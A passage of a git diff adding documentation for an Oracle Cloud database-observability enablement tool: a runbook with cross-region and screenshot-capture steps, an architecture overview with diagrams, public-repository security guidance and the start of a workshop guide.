Final + discovery: CDB `dbmanops` `dbm=ENABLED, opsi=ENABLED, ds=ENABLED`; both Data + Safe targets **ACTIVE**. + +## Phase 7 — Cross-region OPSI showcase (Chicago) + +Goal: show the new Ops Insights multi-region experience from one Console flow: +Data Object Explorer queries selected regions and aggregates results; the +Configuration and Capacity dashboards use the same selected regions. + +Provision one additional target in `us-chicago-1` for the POC. Generate a +separate gitignored config whose top-level `region` is `us-chicago-1` while +reusing the same tenancy/profile/compartment pattern: + +```bash +dbman-opsi init-region --config dbman-opsi.cap.local.yaml \ + --region us-chicago-1 \ + --output dbman-opsi.cap-chicago.local.yaml \ + --target-kind dbcs +dbman-opsi provision --config dbman-opsi.cap-chicago.local.yaml --render-only +# review terraform/examples/zero-start-poc-us-chicago-1/terraform.tfvars.json, then: +dbman-opsi provision --config dbman-opsi.cap-chicago.local.yaml --apply +dbman-opsi import-tf-outputs --config dbman-opsi.cap-chicago.local.yaml +dbman-opsi db-exec --config dbman-opsi.cap-chicago.local.yaml --apply \ + --bastion-id --target-ip --ssh-key +dbman-opsi configure --config dbman-opsi.cap-chicago.local.yaml --apply +dbman-opsi validate --config dbman-opsi.cap-chicago.local.yaml +``` + +For Autonomous Database, use `--target-kind autonomous` and provide +`TF_VAR_adb_admin_password` through the environment. For DBCS, provide the SSH +public key and `TF_VAR_db_admin_password`; keep the generated Terraform secret +variables in ignored local files only. `init-region` creates a test VCN/subnet by +default; pass `--vcn-id --subnet-id ` to +reuse an existing Chicago network. + +Local paid provisioning uses `.env.local` as the operator-owned secret boundary: + +```bash +cp .env.local.example .env.local +chmod 600 .env.local +# Fill in TF_VAR_db_admin_password and TF_VAR_ssh_public_keys locally. +# Set TF_VAR_create_identity_policy=false when IAM is managed outside this stack. +``` + +The CLI loads `.env.local` automatically. Do not paste real values into this +runbook, generated configs, screenshots, `terraform.tfvars.json`, or public app +code. Terraform state is also local-sensitive after apply; keep it in the +gitignored regional work directory and restrict access to the workstation. + +After Chicago is enabled, add the Chicago target to the combined CAP showcase +config with `region: us-chicago-1` on that target, then declare the Console region +selector set: + +```bash +dbman-opsi cross-region --config dbman-opsi.cap.local.yaml \ + --regions eu-frankfurt-1,us-chicago-1 +dbman-opsi validate --config dbman-opsi.cap.local.yaml +``` + +Expected API state: Frankfurt and Chicago targets validate from their own regions; +DBCS/PDB targets show DBM `ENABLED`/`ADVANCED` and OPSI `ACTIVE`, while Autonomous +targets show Database Management and Ops Insights enabled on the Autonomous DB +resource. + +Expected Console state: in Ops Insights Data Object Explorer, select +`eu-frankfurt-1` and `us-chicago-1` in the region selector, run the query, and +verify returned rows include region context. Repeat the same region selection on +the Configuration and Capacity dashboards. + +CAP verification note: the Chicago DBCS path has been generated and checked with +`terraform init -backend=false` plus `terraform validate` in +`terraform/examples/zero-start-poc-us-chicago-1/`. On 2026-06-19 the paid +Chicago DBCS resource was created with local-only variables loaded from +`.env.local`; Terraform state now manages the VCN, private subnet, Service +Gateway, DB system, and DBM private endpoint in the ignored regional workdir. +The OPSI private endpoint was created through `prepare-prereqs --apply` and +persisted into the ignored local config. + +Remaining enablement handoff for Chicago: + +- Store the monitoring-user password in a regional Vault secret and set + `password_secret_id` in `dbman-opsi.cap-chicago.local.yaml`. +- Run the generated DB-side scripts from `generated/db-scripts-chicago/` through + a secure DB access path so `DBSNMP` has basic monitoring, advanced diagnostics, + and Performance Hub grants. +- Re-run `configure --apply` and then `validate`; expected first post-provision + state before those steps is DBM `NOT_ENABLED`. + +## Final verified state (API) + +- DBM: CDB `DBMOPSI` **UP**, PDB `PDB1` **UP** (ADVANCED). +- OPSI: DBMOPSI + PDB1 **ACTIVE**, `database-connection-status-details: SUCCESS`. +- `validate` reports `Ops Insights ACTIVE (ENABLED)` for both, deterministically + (via GET-by-OCID), across repeated runs. +- Performance Hub: DBSNMP holds the AWR/advisor + SQL-Tuning-Set privileges in + CDB+PDB; AWR snapshot creation succeeds. +- ADDM/AWR: `awr_pdb_autoflush_enabled=TRUE`, PDB AWR interval 1h / retention 8d, + PDB snapshots collecting; `DBMS_ADDM.ANALYZE_DB` (PDB) COMPLETED with a report. + ADDM Spotlight / AWR Explorer now populate; SQL Tuning Set creation succeeds. + +## Phase 5 — OCI Console screenshots + +Captured via **CDP attach** (extension-free; see `~/.claude/CLAUDE.md` "Browser +Automation"). User launches Chrome with `--remote-debugging-port=9222 +--user-data-dir=~/.oci-cdp-profile`, logs in normally, then +`~/oci-cli/bin/python /tmp/oci_cdp_capture.py` connects over CDP and screenshots. + +Working console route (eu-frankfurt-1): Managed Databases lives at +`/dbmgmt-ui/administration/managed_databases` (NOT `/dbmgmt/managed-databases`). +The console is an Oracle JET SPA that renders list rows and much content in +**shadow DOM**, so Playwright `get_by_role`/`get_by_text` clicks and `a[href]` +discovery do not reach them — drive by navigating the menu yourself (CDP attach to +your own logged-in Chrome) and screenshot the current tab, rather than automating +clicks. Automation-*launched* Chrome also hits the SSO/MFA wall; CDP-attach to a +real logged-in browser is the reliable path. + +Committed (redacted) screenshots in `docs/screenshots/`: + +- `console-01-managed-databases.png` — DBMOPSI (Container DB) + PDB1 (Pluggable DB) + **Enabled / Full**, ADVANCED. +- `console-02-dbmopsi-summary.png` — DBMOPSI **Available**; Performance Hub / ADDM + Spotlight / AWR Explorer accessible (no privilege prompt); monitoring timeline + all-green. +- `console-03-dbmopsi-pdbs.png` — PDBs tab: PDB1 **Up** with live Performance Hub + metrics; full Performance/Tuning nav. +- `console-04-data-safe-targets.png` — Data Safe **Target databases**: the three + registered targets (`dbman-opsi-dbcs-PDB1`, `dbman-opsi-dbcs2-cdb`, + `dbman-opsi-dbcs2-PDB1`) all **Active**. +- `console-05-performance-hub.png` — Performance Hub: Activity Summary / Average + Active Sessions + ASH Analytics (SQL-detail tables blurred — live SQL/service/users). +- `console-06-data-safe-assessment.png` — Data Safe **Security Assessment**: Risk + level + Risks by category + Top-5 security controls (aggregate charts only). +- `console-07-capacity-planning.png` — Ops Insights **Database Capacity Planning**: + database inventory and CPU/storage/memory/I/O cards. +- `console-08-capacity-trend-forecast.png` — single-resource trend and forecast + panel with forecast settings. +- `console-09-capacity-aggregate.png` — capacity aggregate treemap and all-database + forecast trend. +- `console-10-sql-insights-fleet-analysis.png` — SQL Insights fleet analysis; live + resource identifiers and SQL detail are redacted. +- `console-11-sql-insights-database-analysis.png` — SQL Insights database analysis; + SQL IDs/modules/resource values are redacted. +- `console-12-sql-explorer-multiregion.png` — SQL Explorer with the multi-region + selector showing Frankfurt + Chicago in one query flow. +- `console-13-db-performance.png` — DB Performance dashboard with activity cards + and table-level identifiers redacted. +- `console-14-opsi-fleet-administration.png` — Ops Insights fleet administration; + status/feature columns are visible while resource names and compartment values + are redacted. + +The Managed Databases (`console-01`) and fleet (`console-02`) views now show **both** +DB systems — the original `DBMOPSI`/`PDB1` and the freshly-provisioned +`dbmanops`/`dbmanops_pdb1` — all Enabled/Full. + +### CAP fleet rows needing attention + +The Console fleet-administration screenshot also showed three Autonomous Database +rows in **Needs Attention**. A redacted API triage with the `cap` profile on +2026-06-19 found: + +- Autonomous Database resource state: `AVAILABLE`. +- Database Management resource state: `ENABLED`, with `ADVANCED` management. +- Operations Insights resource flag: `ENABLED`; an explicit enable dry-run is + rejected by OCI as already enabled. +- Data Safe resource flag: `REGISTERED`. +- DBM preferred credential roles: `MONITORING`, `PC_READ`, and `PC_WRITE` exist + for each affected Autonomous Database. +- OPSI `database-insights list` returns the VM CDB/PDB records as + `ACTIVE`/`SUCCESS`; ATP-S records are not returned by the list endpoint even + though the Autonomous DB resource-level OPSI flag is `ENABLED`. + +Do not repair this by cycling the databases. Treat it as an Autonomous Database +OPSI collection-health/Console inventory issue: verify it from **Observability & +Management > Collection issues** and, if the Console still reports the rows after +the next collection interval, raise an OCI service request with the redacted API +evidence above. The CLI path has no safe force-refresh verb for this state. + +Redaction: a DOM/text pass masks OCIDs, IPs, db_unique_name+domain, tenancy/account +name and emails; for operator-pasted images, sensitive bands (header +region/account/avatar, compartment chip), resource-name columns, SQL ID columns, +and live SQL/service/module tables are blurred or covered with PIL. Raw captures +go to `docs/screenshots/raw/` (gitignored) — only redacted images are committed. + +### Capturing more Console views (CDP-attach recipe) + +The Data Safe and Performance Hub views (`console-04`/`05`) were captured with the +CDP-attach flow above and are committed. The OCI Console is a JET SPA whose left-nav +and list rows live in **shadow DOM**, so Playwright/JS clicks do not reach them — +the reliable recipe is: **you** navigate the menu in the logged-in CDP Chrome, then a +small `connect_over_cdp` helper screenshots the current tab to +`docs/screenshots/raw/`, and a PIL pass blurs the region/account band, compartment +chip, and any SQL/service/user tables before committing. To add a **Security +Assessment** view, open Data Safe → a target → Security Assessment and capture it the +same way. diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/architecture.md b/observability-and-management/assets/oci-dbman-opsi/docs/architecture.md new file mode 100644 index 000000000..0342509cc --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/docs/architecture.md @@ -0,0 +1,238 @@ +# Architecture + +`dbman-opsi` enables three OCI observability/security pillars for Oracle +databases — **Database Management (DBM)**, **Operations Insights (OPSI)**, and +**Data Safe** — across Base Database / DBCS, Autonomous Database, Exadata, and +external databases. It is a thin, testable orchestration layer over the OCI CLI +and Terraform: discover what exists, gate on prerequisites, then enable (live) or +hand off DB-side steps to a DBA. + +This document maps the system, its control/data boundaries, and the verdict and +redaction models that make it safe to run against production tenancies. + +## System view + +```mermaid +flowchart LR + subgraph Local["Operator workstation / Cloud Shell / Resource Manager"] + CLI["dbman-opsi CLI
(cli.py)"] + Cfg["Ignored local config
(config.py)"] + Journal["Run journal
(journal.py, runs/*.jsonl)"] + Gen["Generated artifacts
DB SQL · OPSI/Data Safe payloads · agent scripts · handoff"] + end + + CLI --> Cfg + CLI --> Runner["Command runner
(runner.py)"] + Runner --> Journal + Runner --> OciCli["OCI CLI facade
(oci_cli.py + _oci_* mixins)"] + CLI --> TF["Terraform render/run/import
(terraform.py, tf_outputs.py)"] + CLI --> Gen + + OciCli --> DBM["Database Management"] + OciCli --> OPSI["Operations Insights"] + OciCli --> DS["Data Safe"] + OciCli --> Vault["OCI Vault"] + OciCli --> Net["VCN · subnet · private endpoints · bastion"] + + Gen --> DBA["DBA / SYSDBA
(or hybrid auto-exec via Bastion)"] + DBA --> DB[("CDB / PDB / ADB / external DB")] + DBM --> DB + OPSI --> DB + DS --> DB +``` + +## Module map + +| Layer | Modules | Responsibility | +| --- | --- | --- | +| UX / entry | `cli.py`, `wizard.py`, `reporting.py`, `doctor.py` | Commands, interactive planning, human/JSON output, environment checks, run-journal inspection | +| Config | `config.py`, `redact.py` | Immutable `EnablementConfig`/`Target`, YAML/JSON round-trip, boundary validation, display redaction | +| Discover / gate | `discovery.py`, `preflight.py`, `checks.py`, `prerequisites.py`, `db_check.py`, `status.py`, `conn.py`, `oci_util.py` | Read-only inventory, three-pillar detection, connection-string parsing, best-effort lookups, prerequisite and DB-spool gating | +| Act | `orchestrator.py`, `enablement.py`, `datasafe.py`, `iam.py`, `credentials.py`, `db_exec.py` | Detect→branch→gate→enable/handoff; DBM/OPSI/Data Safe enablement; hybrid DB-side execution | +| Generate | `db_scripts.py`, `opsi_payloads.py`, `agent_scripts.py`, `handoff.py` | DB-side SQL, OPSI/Data Safe payloads, agent bootstrap, DBA handoff packets | +| Execute | `runner.py`, `journal.py`, `oci_cli.py`, `_oci_base.py`, `_oci_network.py`, `_oci_database.py`, `_oci_dbmgmt.py`, `_oci_opsi.py`, `_oci_datasafe.py`, `_oci_vault.py`, `_oci_iam.py`, `_oci_infra.py`, `terraform.py`, `tf_outputs.py` | Subprocess choke point, redacted run journal, OCI CLI facade composed from per-domain mixins, Terraform render/run/import | +| Validate | `validation.py`, `remediation.py` | Post-enable verdicts and remediation hints | + +## OCI CLI facade and runner choke point + +`OciCli` is a flat client assembled from small per-domain mixins. Shared behavior +(`run_json`, `run`, response unwrapping, profile tenancy lookup) lives in +`_oci_base.py`; domain modules hold only their OCI command surface. Every OCI and +Terraform subprocess crosses `CommandRunner`, which is also where command timing, +redacted journaling, `OciError` classification, and retry/backoff are applied. + +```mermaid +flowchart TD + Caller["services and CLI handlers"] --> Facade["OciCli
(oci_cli.py)"] + Facade --> Base["_OciBase
run_json / run"] + Base --> Runner["CommandRunner
(runner.py)"] + Runner --> Journal["RunJournal.record
(journal.py)"] + Runner --> OCI["oci command"] + Runner --> TF["terraform command"] + Runner --> Classify{"non-zero exit?"} + Classify -->|auth / not found / throttle / transient| Typed["OciError taxonomy"] + Typed --> Retry{"retryable?"} + Retry -->|throttled or transient read| Backoff["bounded backoff"] + Backoff --> Runner + Retry -->|no| Raise["raise typed error"] +``` + +The mixin split is organizational only; callers still use one `OciCli` object: + +```mermaid +flowchart LR + OciCli["OciCli"] --> Network["_oci_network.py"] + OciCli --> Database["_oci_database.py"] + OciCli --> Dbmgmt["_oci_dbmgmt.py"] + OciCli --> Opsi["_oci_opsi.py"] + OciCli --> DataSafe["_oci_datasafe.py"] + OciCli --> Vault["_oci_vault.py"] + OciCli --> Iam["_oci_iam.py"] + OciCli --> Infra["_oci_infra.py"] +``` + +## The three pillars + +The pillars are detected three different ways — a key design point that drives the +discovery layer: + +```mermaid +flowchart TB + DB[("Database
CDB / PDB / ADB")] + DB -->|status field ON the resource
database-management-config| DBM["DBM enabled?"] + DB -.->|separate database-insights resource
matched by database-id| OPSI["OPSI enabled?"] + DB -.->|separate target-database resource
matched by associated-resource-ids / DB-system| DS["Data Safe enabled?"] +``` + +- **DBM** status lives *on* the database resource. +- **OPSI** is a separate `database-insights` resource joined back by `database-id`. +- **Data Safe** is a separate `target-database` resource joined by + `associated-resource-ids` (the LIST summary's `database-details` is null). A + Base DB target registered with a PDB service name associates at the **DB-system** + grain, so Data Safe is attributed at the CDB/DB-system level. + +`discovery.py` pre-fetches the OPSI and Data Safe collections **once per +compartment** and fans them in by OCID (avoids an N+1 lookup per database). + +## Command lifecycle (`configure`) + +```mermaid +flowchart TD + Start([configure]) --> PF["preflight: read-only gate
IAM · network · PEs · Vault · monitoring user"] + PF --> Detect{Already enabled?} + Detect -->|yes| OPSIReady{OPSI ready?} + OPSIReady -->|apply| EnaOpsi["enable OPSI"] --> Done([decision: enabled/ready]) + OPSIReady -->|no| Skip([decision: skip-enabled]) + Detect -->|no| Mode{mode} + Mode -->|db-side-only| HO["generate handoff packet"] --> Done + Mode -->|plan/apply| Gate{blockers?} + Gate -->|yes| Blk([decision: blocked + reason]) + Gate -->|no, apply| Ena["enable DBM → OPSI
(CDB before PDB)"] --> Done + Gate -->|no, plan| Ready([decision: ready]) +``` + +CDB/PDB ordering: PDB targets carry `parent_cdb_id`; the orchestrator enables the +container database first and clears the PDB's `target.parent_cdb` blocker in-run. + +## Data Safe enablement flow + +```mermaid +flowchart TD + A([data-safe --apply]) --> B{wants 'datasafe'?} + B -->|no| Skip([skipped]) + B -->|yes| PE{DS private endpoint?} + PE -->|missing| MkPE["create PE in DB subnet
(work request → SUCCEEDED)"] + PE -->|present| Have[reuse PE] + MkPE --> Creds + Have --> Creds["prompt credentials
(DBSNMP default; 0600 temp files)"] + Creds --> Reg["target-database create
database-details + connection-option + credentials"] + Reg --> St{lifecycle} + St -->|ACTIVE| OK([registered]) + St -->|NEEDS_ATTENTION ORA-01017| Fix["fix credential → update --credentials --force"] + Fix --> OK +``` + +## Hybrid DB-side execution + +```mermaid +flowchart LR + Plan([db-exec / configure]) --> Gate{profile in PROD_PROFILES?} + Gate -->|no (cap/test)| Auto["auto-run via Bastion
01→02→03→05→06→04"] + Gate -->|yes (emdemo/prod)| HO["generate-and-handoff
HANDOFF.md for the DBA"] +``` + +DB-side SQL is never auto-executed in production. The tenancy gate lives in the +executor (`db_exec.py`), keeping SQL generation pure. + +## Control-plane vs data-plane / read-live vs write-gated + +- **Reads are always live.** `validate`, `preflight`, `configure` reads, and + `discover` build their OCI CLI with `CommandRunner(dry_run=False)` — a dry-run + runner stubs every read to `{}`, which would look identical to a missing + resource. Writes respect `--apply`/`dry_run`. +- **Boundary validation is explicit.** Config loading calls `validate_config()`; + Terraform output import calls `merge_outputs_into_config()` and then + `validate_merged_config()` before writing; `preflight --db-check-file` parses + the DBA-spooled `04-validate-monitoring-user.sql` output through `db_check.py`. +- **Redaction is a display concern, applied at the boundary** — never in the data + path. `runner.run()` returns **raw** stdout so OCID-keyed joins work; + redaction happens in `--json` output (`redact_data`) and `config.sanitized()`. + Human `discover` output intentionally prints real OCIDs so operators can copy + them into config (their own tenancy). Error messages and the dry-run echo stay + redacted. + +```mermaid +flowchart LR + OCI["OCI CLI JSON (raw OCIDs)"] --> Runner["runner.run() — RAW"] + Runner --> Journal["journal.record() redacted argv only"] + Runner --> Logic["joins / detection / id lookup"] + Logic --> JSONOut["--json output"] --> Redact["redact_data → "] + Logic --> Human["human tables (real OCIDs, operator copies to config)"] + Runner -.error/dry-run echo.-> RedErr["redact_text"] +``` + +```mermaid +flowchart TD + ConfigFile["config YAML or JSON"] --> Load["load_config"] + Load --> ConfigValidate["validate_config"] + TfState["terraform output JSON"] --> Merge["merge_outputs_into_config"] + Merge --> TfValidate["validate_merged_config"] + DbSpool["DBA spool file"] --> DbCheck["parse_validation_output"] + ConfigValidate --> Commands["CLI command handlers"] + TfValidate --> Save["save_config"] + DbCheck --> Preflight["preflight report"] +``` + +## Validation verdict model (OPSI) + +The aggregated `database-insights list` control plane flaps (0/2/7 items +call-to-call), so absence can never be concluded from a single list: + +```mermaid +flowchart TD + V([validate target]) --> HasId{insight OCID known?} + HasId -->|yes| Get["GET by OCID (authoritative)"] --> State["ACTIVE / FAILED / ..."] + HasId -->|no| List["list_opsi_database_insights_complete()"] + List --> Hit{positive match?} + Hit -->|yes| Pos["ACTIVE (then GET)"] + Hit -->|no| Clean{clean window?
all attempts answered · complete · non-empty · stable} + Clean -->|yes| NF["NOT_FOUND"] + Clean -->|no| UNK["UNKNOWN (inconclusive)"] +``` + +A positive match is authoritative; `NOT_FOUND` is emitted only from a complete, +non-empty, stable window; everything else is `UNKNOWN`. + +## Testing + +- `pytest` enforces ≥80% coverage (`pyproject.toml`). +- Eval-first regression suite under `tests/evals/` — see + [tests/evals/README.md](../tests/evals/README.md) — organizes capability and + regression evals by defect signature (e.g. the OPSI flap, the `validate + --dry-run` stub bug) so each fixed defect stays fixed. + +## Live runbook & knowledge base + +- End-to-end live flow with every defect found and fixed: + [RUNBOOK-e2e-cap.md](RUNBOOK-e2e-cap.md). +- Failure-signature → root-cause → fix: [../KB.md](../KB.md). diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-01-managed-databases.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-01-managed-databases.png new file mode 100644 index 000000000..60c9c59e3 Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-01-managed-databases.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-02-dbmopsi-summary.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-02-dbmopsi-summary.png new file mode 100644 index 000000000..6100e6341 Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-02-dbmopsi-summary.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-03-dbmopsi-pdbs.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-03-dbmopsi-pdbs.png new file mode 100644 index 000000000..431ec31db Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-03-dbmopsi-pdbs.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-04-data-safe-targets.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-04-data-safe-targets.png new file mode 100644 index 000000000..757ad7153 Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-04-data-safe-targets.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-05-performance-hub.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-05-performance-hub.png new file mode 100644 index 000000000..2eaecf6c2 Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-05-performance-hub.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-06-data-safe-assessment.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-06-data-safe-assessment.png new file mode 100644 index 000000000..7797012d7 Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-06-data-safe-assessment.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-07-capacity-planning.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-07-capacity-planning.png new file mode 100644 index 000000000..61e6d7148 Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-07-capacity-planning.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-08-capacity-trend-forecast.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-08-capacity-trend-forecast.png new file mode 100644 index 000000000..2c7923f08 Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-08-capacity-trend-forecast.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-09-capacity-aggregate.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-09-capacity-aggregate.png new file mode 100644 index 000000000..3be2bcac7 Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-09-capacity-aggregate.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-10-sql-insights-fleet-analysis.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-10-sql-insights-fleet-analysis.png new file mode 100644 index 000000000..55bcb96b4 Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-10-sql-insights-fleet-analysis.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-11-sql-insights-database-analysis.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-11-sql-insights-database-analysis.png new file mode 100644 index 000000000..e62ac0f5f Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-11-sql-insights-database-analysis.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-12-sql-explorer-multiregion.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-12-sql-explorer-multiregion.png new file mode 100644 index 000000000..f7efcf1d4 Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-12-sql-explorer-multiregion.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-13-db-performance.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-13-db-performance.png new file mode 100644 index 000000000..a789ab251 Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-13-db-performance.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-14-opsi-fleet-administration.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-14-opsi-fleet-administration.png new file mode 100644 index 000000000..baee40973 Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/console-14-opsi-fleet-administration.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/readme.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/readme.png new file mode 100644 index 000000000..e9ce45191 Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/readme.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/workshop.png b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/workshop.png new file mode 100644 index 000000000..78418799e Binary files /dev/null and b/observability-and-management/assets/oci-dbman-opsi/docs/screenshots/workshop.png differ diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/security.md b/observability-and-management/assets/oci-dbman-opsi/docs/security.md new file mode 100644 index 000000000..321370cae --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/docs/security.md @@ -0,0 +1,63 @@ +# Security And Public Repository Guidance + +This project is designed for public repository use. Keep tenant-specific data in ignored local files and use variables for every deploy-time value. + +## Public-Safe Defaults + +- Do not commit generated configs, generated SQL payloads, Terraform state, local logs, screenshots, or local MCP files. +- Do not commit `.env.local`. Keep local operator variables in `.env.local` from + `.env.local.example`, set file mode to `0600`, and avoid copying real values + into app code, generated docs, screenshots, or Terraform variable files. +- Do not commit OCIDs, public IPs, private IPs, API key fingerprints, namespaces, endpoint URLs, wallet material, or passwords. +- Use OCI Vault for database monitoring credentials. +- Use environment variables for secret input, for example `DBMAN_OPSI_DB_PASSWORD`, then run `prepare-prereqs --password-env DBMAN_OPSI_DB_PASSWORD`. +- Use placeholders in documentation and workshops, such as `` and ``. + +## Screenshot Rules + +Screenshots for workshops must not show tenant names, user names, tenancy OCIDs, compartment OCIDs, database OCIDs, public IP addresses, private IP addresses, or credential values. Crop or mask the browser chrome and account selector before publishing. + +## Validation Before Publishing + +Install the repository audit without changing `core.hooksPath`. This repository +may already use ECC-managed hooks through `core.hooksPath`; running +`git config core.hooksPath scripts` would replace that hook directory and +disable the ECC pre-push checks. + +Use one of these non-conflicting approaches: + +- Chain `scripts/pre-push` from the existing `pre-push` file in the current + hooks directory reported by `git config --get core.hooksPath`. +- Register `scripts/pre-push` through the pre-commit framework. +- If the clone does not use `core.hooksPath`, symlink or copy `scripts/pre-push` + to `.git/hooks/pre-push` locally. + +The audit in `scripts/pre-push` blocks pushes when non-Markdown changes contain +format-shaped OCI resource identifiers or OCIR registry paths. It checks the +Git push range when Git supplies one and falls back to the current working tree +when run manually. If `gitleaks` is installed, the hook also runs: + +```bash +gitleaks detect --source . --config .gitleaks.toml --no-banner +``` + +If `gitleaks` is missing, the hook prints a warning and continues so the +format-based audit still runs everywhere. + +Run: + +```bash +python3 -m pytest +terraform -chdir=terraform/examples/zero-start-poc fmt -check +rg -n 'ocid1\.|||130\.61|161\.153' README.md docs terraform src tests +``` + +The final `rg` command should return no public sensitive values. + +Bypass the hook only for intentional, reviewed exceptions: + +```bash +git push --no-verify +``` + +Bypassing skips both the OCI identifier audit and the optional `gitleaks` scan. diff --git a/observability-and-management/assets/oci-dbman-opsi/docs/workshop/README.md b/observability-and-management/assets/oci-dbman-opsi/docs/workshop/README.md new file mode 100644 index 000000000..7672f1195 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/docs/workshop/README.md @@ -0,0 +1,294 @@ +# Workshop: Enable OCI Database Management And Operations Insights + +This workshop walks through an end-to-end enablement flow for Database Management and Operations Insights across DBCS, Autonomous Database, Exadata, and external database targets. + +Use placeholders for every tenancy value. Do not paste real OCIDs, hostnames, usernames, or credentials into workshop notes. + +## Lab 1: Prepare The Environment + +Run this in OCI Cloud Shell or on a local workstation with OCI CLI and Terraform installed: + +```bash +python3 -m venv .venv +source .venv/bin/activate +python -m pip install -e '.[dev]' +dbman-opsi doctor +``` + +Quote `'.[dev]'` when using zsh; otherwise zsh treats `[dev]` as a filename +pattern and fails before pip runs. After `source .venv/bin/activate`, `python` +points at the virtual environment. + +Expected result: `READY: python, oci, terraform`. + +## Lab 2: Discover Or Select Targets + +Start the wizard and choose an existing compartment, VCN, subnet, Vault resources, +private endpoints, and database target from the discovered lists: + +```bash +dbman-opsi plan --profile --region --output dbman-opsi.local.yaml +``` + +For each target the wizard asks **which pillars to enable** — `dbm` (Database +Management), `opsi` (Operations Insights), and/or `datasafe` (Data Safe). The +default is `dbm`+`opsi`; add `datasafe` to also register the database as a Data +Safe target (Lab 6). PDB targets inherit their parent CDB's pillar selection. +The wizard searches the selected compartment first, then other accessible +compartments, because workshop resources are often split across database, +network, observability, and security compartments. +If the OCI profile contains a tenancy OCID, the wizard uses it automatically and +does not ask for it. If existing VCNs are discovered, press Enter at +`Create a PoC VCN/subnet?` to reuse one. The wizard also reads IAM policies and reports whether the +Database Management (`dpd`) and Operations Insights service-principal statements +are already present. + +For DBCS, select the actual target database/CDB resource from the discovered +database list. Do not paste the parent DB system OCID as the database/resource +OCID; the wizard records the parent DB system separately when Data Safe needs it +and can add PDBs in the PDB discovery step. Keep the monitoring user as `DBSNMP` +unless your policy requires a custom user. + +For Autonomous Database, choose the existing Autonomous Database resource. Database Management and Operations Insights can be validated directly from OCI status. + +For Exadata, select the Exadata infrastructure or database target and use the generated database SQL scripts before OCI service enablement. + +For external databases, generate and run the Management Agent bootstrap script on the host, then validate agent registration. + +## Lab 3: Provision OCI Prerequisites + +Generate Terraform variables for repeatable network and IAM setup: + +```bash +dbman-opsi provision --config dbman-opsi.local.yaml --render-only +terraform -chdir=terraform/examples/zero-start-poc plan +``` + +Create Database Management and Operations Insights private endpoints: + +```bash +dbman-opsi prepare-prereqs --config dbman-opsi.local.yaml --dry-run +dbman-opsi prepare-prereqs --config dbman-opsi.local.yaml --apply +``` + +If the database monitoring credential must be stored in Vault, export it only in the current shell: + +```bash +export DBMAN_OPSI_DB_PASSWORD='' +dbman-opsi prepare-prereqs --config dbman-opsi.local.yaml --password-env DBMAN_OPSI_DB_PASSWORD --apply +unset DBMAN_OPSI_DB_PASSWORD +``` + +## Lab 3b: Verify Prerequisites (Read-Only Gate) + +Before any change, confirm every prerequisite is in place. `preflight` only reads: + +```bash +dbman-opsi preflight --config dbman-opsi.local.yaml +``` + +It reports PASS/FAIL/WARN/MANUAL for each of: + +- IAM service-principal policies (`database-management`, `operations-insights`, `dpd`) +- Network: subnet state, **Service Gateway + route rule to OCI Services**, listener ports +- Database Management and Operations Insights private endpoints (ACTIVE, right 